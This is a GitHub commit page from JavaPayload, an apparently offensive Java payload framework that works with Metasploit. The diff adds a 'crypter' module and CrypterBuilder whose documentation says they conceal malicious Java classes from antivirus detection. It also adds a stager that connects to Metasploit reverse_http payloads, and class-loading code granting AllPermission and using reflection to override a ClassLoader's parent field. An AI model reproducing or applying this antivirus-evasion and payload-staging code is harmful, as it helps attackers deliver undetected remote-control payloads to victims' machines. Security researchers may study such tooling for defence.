Skip to content

Commit

Permalink
Merge branch 'svnmaster'
Browse files Browse the repository at this point in the history
  • Loading branch information
schierlm committed Apr 4, 2012
2 parents 6197202 + 7189ed8 commit 20db88f
Show file tree
Hide file tree
Showing 14 changed files with 598 additions and 52 deletions.
13 changes: 6 additions & 7 deletions J2EEPayload/src/j2eepayload/builder/JTCPfwdBuilder.java
Expand Up @@ -39,15 +39,12 @@
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.net.Socket;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
Expand Down Expand Up @@ -242,14 +239,12 @@ private String getEmbeddedClasses() {
}

private Map /*<String,byte[]>*/ classCache;
private ProtectionDomain pd;
private boolean ready;

public void bootstrap(String[] parameters, boolean needWait) throws Exception {
final DataInputStream in = new DataInputStream(new ByteArrayInputStream(getEmbeddedClasses().getBytes("ISO-8859-1")));
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
classCache = new HashMap();
String className;
int length = in.readInt();
Expand All @@ -275,7 +270,11 @@ protected Class findClass(String name) throws ClassNotFoundException {
byte[] classfile = (byte[]) classCache.get(name);
if (classfile == null)
return super.findClass(name);
return defineClass(null, classfile, 0, classfile.length, pd);
try {
return define(classfile);
} catch (IOException ex) {
throw new RuntimeException(ex.toString());
}
}

public synchronized void waitReady() throws InterruptedException {
Expand Down
32 changes: 31 additions & 1 deletion JavaPayload/index.html
Expand Up @@ -170,7 +170,10 @@ <h3>Interaction with Metasploit</h3>

<p>This stage expects a stager and its arguments as parameters; this stager will be
launched from the stage handler and the sockets will be connected to the stage handler's sockets,
making it possible to connect a ReverseTCP stager directly to a JDWPTunnel stager handler.</p>
making it possible to connect a ReverseTCP stager directly to a JDWPTunnel stager handler.</p>

<p>In case you want to use one of the <tt>java/*/reverse_http*</tt> payloads from Metasploit,
you can use the <tt>MetasploitURL</tt> stager in JavaPayload to connect to them.</p>

<h2>Changes since version 0.2</h2>

Expand All @@ -193,6 +196,8 @@ <h2>Changes since version 0.2</h2>
<li>Make stager and stage handlers self-documenting modules, too.</li>
<li>Add support for self-documenting Discovery modules and provide AttachDiscovery as replacement for AttachInjector's list command</li>
<li>Add javapayload.cli.Main class.</li>
<li>Add Crypter support.</li>
<li>Add <tt>MetasploitURL</tt> stager</li>
</ul>

<h2>Changes since version 0.1</h2>
Expand Down Expand Up @@ -552,5 +557,30 @@ <h3>RMI injector</h3>
<p><b>On the "victim" machine:</b></p>
<p><tt>rmiregistry</tt> or <tt>rmid</tt></p>

<h3>Crypter support</h3>

<p>Due to the vast amount of Java malware, antivirus has improved in
detecting "malicious" Java classes. Therefore, it is often necessary
to crypt the classes to avoid AV detection. Javapayload contains very
basic crypter support that can be used to crypt standalone main classes
as well as the results of the <tt>ClassBuilder</tt> and
<tt>EmbeddedClassBuilder</tt> and main classes generated by other stagers
implicitly, like by the <tt>Spawn</tt> dynstager or the
<tt>TemplateBuilder</tt>.</p>

<p>The only crypter included is called <tt>RnR</tt>, because it uses
Reflection and Randomization to conceal the class. You may alter this
or create your own subclasses of <tt>javapayload.crypter.Crypter</tt>
to improve the results.</p>

<p>In the <tt>ClassBuilder</tt> and the <tt>EmbeddedClassBuilder</tt>, you
can suffix a class name with <tt>^<i>Crypter</i></tt>, like
<tt>MyClass^RnR</tt>. Or use the <tt>CrypterBuilder</tt> to crypt a main
class you generated earlier. To automatically crypt all classes you are
generating (explicitly or implicitly), set the system property
<tt>javapayload.crypter</tt> like this:</p>

<p><tt>java -Djavapayload.crypter=RnR <i>...</i></tt></p>

</body>
</html>
34 changes: 29 additions & 5 deletions JavaPayload/src/javapayload/builder/ClassBuilder.java
Expand Up @@ -39,7 +39,10 @@
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.lang.reflect.Field;

import javapayload.Module;
import javapayload.crypter.Crypter;
import javapayload.loader.DynLoader;
import javapayload.stager.Stager;

Expand All @@ -54,15 +57,26 @@

public class ClassBuilder extends Builder {

protected static void buildClass(final String classname, final String stager, Class loaderClass, final String embeddedArgs, String[] realArgs) throws Exception {
protected static void buildClass(String classname, final String stager, Class loaderClass, final String embeddedArgs, String[] realArgs) throws Exception {
final byte[] newBytecode = buildClassBytes(classname, stager, loaderClass, embeddedArgs, realArgs);
if (classname.indexOf('^') != -1)
classname = classname.substring(0, classname.indexOf('^'));
final FileOutputStream fos = new FileOutputStream(classname + ".class");
fos.write(newBytecode);
fos.close();
}

public static byte[] buildClassBytes(final String classname, final String stager, Class loaderClass, final String embeddedArgs, String[] realArgs) throws Exception {

public static byte[] buildClassBytes(String classnameAndCrypter, final String stager, Class loaderClass, final String embeddedArgs, String[] realArgs) throws Exception {
final String crypter, classname, finalClassname;
int pos = classnameAndCrypter.indexOf('^');
if (pos != -1) {
finalClassname = classnameAndCrypter.substring(0, pos);
crypter = classnameAndCrypter.substring(pos+1);
} else {
finalClassname = classnameAndCrypter;
crypter = System.getProperty(CrypterBuilder.CRYPTER_PROPERTY);
}
classname = finalClassname + (crypter != null && crypter.length() > 0 ? "$" : "");
final ClassWriter writerThreadCW = new ClassWriter(0);

final ClassVisitor writerThreadVisitor = new ClassAdapter(writerThreadCW) {
Expand Down Expand Up @@ -225,7 +239,12 @@ public void visitOuterClass(String owner, String name, String desc) {
}
};
visitClass(loaderClass, loaderVisitor, cw);
return cw.toByteArray();
byte[] result = cw.toByteArray();
if (crypter != null && crypter.length() > 0) {
Crypter c = (Crypter) Module.load(Crypter.class, crypter);
result = c.crypt(finalClassname, result);
}
return result;
}

public static void main(String[] args) throws Exception {
Expand All @@ -241,7 +260,7 @@ public ClassBuilder() {
}

public String getParameterSyntax() {
return "<stager> [classname]";
return "<stager> [<classname>[^<crypter>]]";
}

public void build(String[] args) throws Exception {
Expand Down Expand Up @@ -275,6 +294,11 @@ public static class ClassBuilderTemplate extends Stager {

public static void mainToEmbed(String[] args) throws Exception {
ClassBuilderTemplate cb = new ClassBuilderTemplate();
try {
Field f = Class.forName("java.lang.ClassLoader").getDeclaredField("parent");
f.setAccessible(true);
f.set(cb, cb.getClass().getClassLoader());
} catch (Throwable t) {}
boolean needWait = false;
if (args[0].startsWith("+")) {
args[0] = args[0].substring(1);
Expand Down
69 changes: 69 additions & 0 deletions JavaPayload/src/javapayload/builder/CrypterBuilder.java
@@ -0,0 +1,69 @@
/*
* Java Payloads.
*
* Copyright (c) 2012 Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

package javapayload.builder;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;

import javapayload.Module;
import javapayload.crypter.Crypter;
import javapayload.stage.StreamForwarder;

public class CrypterBuilder extends Builder {

public static final String CRYPTER_PROPERTY = "javapayload.crypter";

public CrypterBuilder() {
super("Crypt a standalone Class file", "");
}

public String getParameterSyntax() {
return "<inputClass> <outputClass> <crypter> | --set [<crypter>]";
}

public void build(String[] args) throws Exception {
if (args[0].equals("--set")) {
System.setProperty(CRYPTER_PROPERTY, args.length == 1 ? "" : args[1]);
} else {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
StreamForwarder.forward(new FileInputStream(args[0] + ".class"), baos);
FileOutputStream out = new FileOutputStream(args[1] + ".class");
Crypter crypter = (Crypter) Module.load(Crypter.class, args[2]);
out.write(crypter.crypt(args[1], baos.toByteArray()));
out.close();
}
}
}
Expand Up @@ -34,6 +34,7 @@

package javapayload.builder;

import java.lang.reflect.Field;
import java.util.StringTokenizer;

import javapayload.stager.Stager;
Expand All @@ -57,7 +58,7 @@ public int getMinParameterCount() {
}

public String getParameterSyntax() {
return "<classname> <stager> [stageroptions] -- <stage> [stageoptions]";
return "<classname>[^<crypter>] <stager> [stageroptions] -- <stage> [stageoptions]";
}
public void build(String[] args) throws Exception {
ClassBuilder.buildClass(args[0], args[1], EmbeddedClassBuilderTemplate.class, buildEmbeddedArgs(args), args);
Expand All @@ -77,6 +78,11 @@ public static String buildEmbeddedArgs(String[] args) {
public static class EmbeddedClassBuilderTemplate extends Stager {
public static void mainToEmbed(String[] args) throws Exception {
EmbeddedClassBuilderTemplate cb = new EmbeddedClassBuilderTemplate();
try {
Field f = Class.forName("java.lang.ClassLoader").getDeclaredField("parent");
f.setAccessible(true);
f.set(cb, cb.getClass().getClassLoader());
} catch (Throwable t) {}
boolean needWait = false;
if (args.length == 1 && args[0].equals("+")) {
args[0] = args[0].substring(1);
Expand Down
34 changes: 7 additions & 27 deletions JavaPayload/src/javapayload/builder/dynstager/AES.java
Expand Up @@ -38,14 +38,10 @@
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.URL;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.MessageDigest;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.SecureRandom;
import java.security.cert.Certificate;

import javapayload.handler.dynstager.SynchronizedOutputStream;

Expand Down Expand Up @@ -93,9 +89,8 @@ protected void bootstrapWrap(InputStream rawIn, OutputStream out, String[] param
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
final Permissions permissions = new Permissions();
permissions.add(new AllPermission());
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class synchronizedOutputStreamClass;
synchronizedOutputStreamClass = bootstrap(pd);
synchronizedOutputStreamClass = bootstrap();
OutputStream so = (OutputStream) synchronizedOutputStreamClass.getConstructor(new Class[] { Class.forName("java.io.OutputStream") }).newInstance(new Object[] { new CipherOutputStream(out, co) });
bootstrapOrig(new CipherInputStream(din, ci), so, newParameters);
} catch (final Throwable t) {
Expand All @@ -119,35 +114,20 @@ public void visit(int version, int access, String name, String signature, String
String classString = new String(cw2.toByteArray());

// create the bootstrap method
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PRIVATE, bootstrapName, "(Ljava/security/ProtectionDomain;)Ljava/lang/Class;", null, new String[] { "java/lang/Exception" });
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_PRIVATE, bootstrapName, "()Ljava/lang/Class;", null, new String[] { "java/lang/Exception" });
mv.visitCode();
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitLdcInsn(classString);
mv.visitLdcInsn("ISO-8859-1");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "(Ljava/lang/String;)[B");
mv.visitVarInsn(Opcodes.ASTORE, 2);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitInsn(Opcodes.ACONST_NULL);
mv.visitVarInsn(Opcodes.ALOAD, 2);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, 2);
mv.visitInsn(Opcodes.ARRAYLENGTH);
mv.visitVarInsn(Opcodes.ALOAD, 1);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/ClassLoader", "defineClass", "(Ljava/lang/String;[BIILjava/security/ProtectionDomain;)Ljava/lang/Class;");
mv.visitVarInsn(Opcodes.ASTORE, 3);
mv.visitVarInsn(Opcodes.ALOAD, 0);
mv.visitVarInsn(Opcodes.ALOAD, 3);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/ClassLoader", "resolveClass", "(Ljava/lang/Class;)V");
mv.visitVarInsn(Opcodes.ALOAD, 3);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "javapayload/stager/Stager", "define", "([B)Ljava/lang/Class;");
mv.visitInsn(Opcodes.ARETURN);
mv.visitMaxs(6, 4);
mv.visitMaxs(3, 1);
mv.visitEnd();
}

private Class bootstrap(ProtectionDomain pd) throws Exception {
private Class bootstrap() throws Exception {
throw new IllegalStateException("This method is replaced in the final stager");
// byte[] classfile = "TO_BE_REPLACED".getBytes("ISO-8859-1");
// Class clazz = defineClass(null, classfile, 0, classfile.length, pd);
// resolveClass(clazz);
// return clazz;
// return define("TO_BE_REPLACED".getBytes("ISO-8859-1"));
}
}
Expand Up @@ -56,7 +56,7 @@ public abstract class DynStagerBuilder {
public abstract byte[] buildStager(String stagerName, Class baseStagerClass, String extraArg, String[] args) throws Exception;


protected void visitStringConstant(MethodVisitor mv, String constant) {
public static void visitStringConstant(MethodVisitor mv, String constant) {
final List stringParts = new ArrayList();
final int MAXLEN = 65535;
while (constant.length() > MAXLEN || getUTFLen(constant) > MAXLEN) {
Expand Down

0 comments on commit 20db88f

Please sign in to comment.